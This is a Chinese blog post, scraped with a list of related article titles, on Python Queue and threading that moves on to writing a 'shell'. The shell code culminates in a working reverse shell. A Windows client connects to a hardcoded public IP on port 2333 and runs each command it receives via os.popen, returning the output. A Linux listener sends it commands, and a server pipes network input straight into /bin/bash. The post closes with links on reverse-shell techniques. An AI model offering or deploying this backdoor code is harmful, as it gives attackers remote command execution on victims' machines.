Python的Queue+Thread的使用 、shell的编写
来源:互联网 发布:steam黑客网络 编辑:程序博客网 时间:2024/05/14 22:08
生产者消费者模式
Queue模块
Import Queue
Queue = Queue.Queue()
For I in range(10):
Queue.put(i)
Queue.empty()判断是否为空
Queue.qsize() 返回其大小
取数据
Queue.get() get一次就取出一次
# -*- coding: utf-8 -*-import threadingimport Queue#继承一个线程类threading.Threadclass DoRun(threading.Thread): #结构方法,初始化属性,传入一个队列 def __init__(self,queue): #继承结构方法 threading.Thread.__init__(self) #两个下划线表示私有变量 self.__queue= queue def run(self): #线程的方法run start后执行的每次都取 while not self.__queue.empty(): ip = self.__queue.get() print ipdef main(): threads =[] thread_count = 10 queue = Queue.Queue() for i in range(1,255): queue.put('106.42.25.'+str(i)) for i in range(thread_count): threads.append(DoRun(queue)) for i in threads: i.start()if __name__ == '__main__': main()
这么写确实快
利用Queue和线程实现生产者和消费者模式。恩,可以改善我之前的代码。加快很多。
SHELL
简单的cs模式
Server
from socket import *from time import ctimeHOST=''PORT = 2333BUFSIZE=1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)tcpServer.bind(ADDR)tcpServer.listen(5)while True: print 'wait for connection...' tcpClient,addr = tcpServer.accept() print '..connected from :'+str(addr) while True: data = tcpClient.recv(BUFSIZE) if not data: break; tcpClient.send('[%s]%s '%(ctime(),data))tcpClient.close()tcpServer.close
client
from socket import *from time import ctimeHOST ='127.0.0.1'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True: data = raw_input('~:') if not data: break tcpClient.send(data) data = tcpClient.recv(BUFSIZE) if not data: break print datatcpClient.close()
更改为可以操作shell命令
server
#!/usr/local/bin/pythonfrom socket import *from time import ctimefrom subprocess import Popen,PIPEdef main(): HOST='' PORT = 2333 BUFSIZE=1024 ADDR = (HOST,PORT) tcpServer = socket(AF_INET,SOCK_STREAM) tcpServer.bind(ADDR) tcpServer.listen(5) while True: print 'wait for connection...' tcpClient,addr = tcpServer.accept() print '..connected from :'+str(addr) while True: data = tcpClient.recv(BUFSIZE) if not data: break; cmd =Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE) data = cmd.stdout.read() tcpClient.send('[%s]%s '%(ctime(),data)) tcpClient.close() tcpServer.closeif __name__ == '__main__': main()
client
from socket import *from time import ctimeHOST ='123.206.15.80'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True: data = raw_input('~:') if not data: break tcpClient.send(data) data = tcpClient.recv(BUFSIZE) if not data: break print datatcpClient.close()
让winodws作为客户端连接我的服务器。服务器一直监听
#windows-shellfrom socket import *from time import ctime# from subprocess import Popen,PIPEimport osHOST ='123.206.15.80'PORT =2333BUFSIZE=1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)tcpClient.connect(ADDR)while True: try: data = tcpClient.recv(BUFSIZE) cmd =os.popen(data) data = cmd.read() print data tcpClient.send('[%s]%s '%(ctime(),data)) except: passtcpClient.close()
linux下运行
#!/usr/local/bin/pythonfrom socket import *from time import ctimedef main(): HOST='123.206.15.80' PORT = 2333 BUFSIZE=1024 ADDR = (HOST,PORT) tcpServer = socket(AF_INET,SOCK_STREAM) tcpServer.bind(ADDR) tcpServer.listen(5) while True: try: print 'wait for connection...' tcpClient,addr = tcpServer.accept() print '..connected from :'+str(addr) while True: data = raw_input('~:') if data=='quit': tcpClient.close() tcpServer.close if data != "": tcpClient.send(data) data = tcpClient.recv(BUFSIZE) if not data: break print data.decode('gbk').encode('utf-8') except: pass tcpClient.close() tcpServer.closeif __name__ == '__main__': main()
反弹shell编写
http://blog.csdn.net/magicbreaker/article/details/2006972
https://www.waitalone.cn/linux-shell-rebound-under-way.html
0 0
- Python的Queue+Thread的使用 、shell的编写
- Python Queue的使用
- python的thread使用
- linux下的shell 和python编写
- python 的Queue
- Python的Queue
- 【Delphi】 Thread.Queue与Synchronize的区别
- gevent.queue和Python内置的Queue()
- python多线程thread/threading的使用
- python:threading.Thread类的使用详解
- 使用adb shell测试的批处理文件编写
- 使用Shell编写猜数字的小游戏
- 用Python编写shell脚本时经常使用的函数的介绍
- 【tmp】python Queue和Thread结合使用
- Python thread的解析
- Python的thread
- STL queue 的使用
- java Queue的使用
- thift使用TThreadPoolServer模式
- jQuery获取页面及个元素高度、宽度
- java搭建RESTful WebServices 快速入门(一)
- jboss规则引擎KIE Drools 2
- jquery 学习文档
- Python的Queue+Thread的使用 、shell的编写
- JavaScript学习-数组
- linux高级网络编程教程
- vue初探-组件注册的两种方式
- BeautifulSoup插入标签tag的方式
- Linux面试题集锦三
- xshell连接不上ubuntu(仅主机模式下)
- fastjson之toJSONStringWithDateFormat与SerializerFeature.WriteDateUseDateFormat
- 计算机文化基础—计算机硬件系统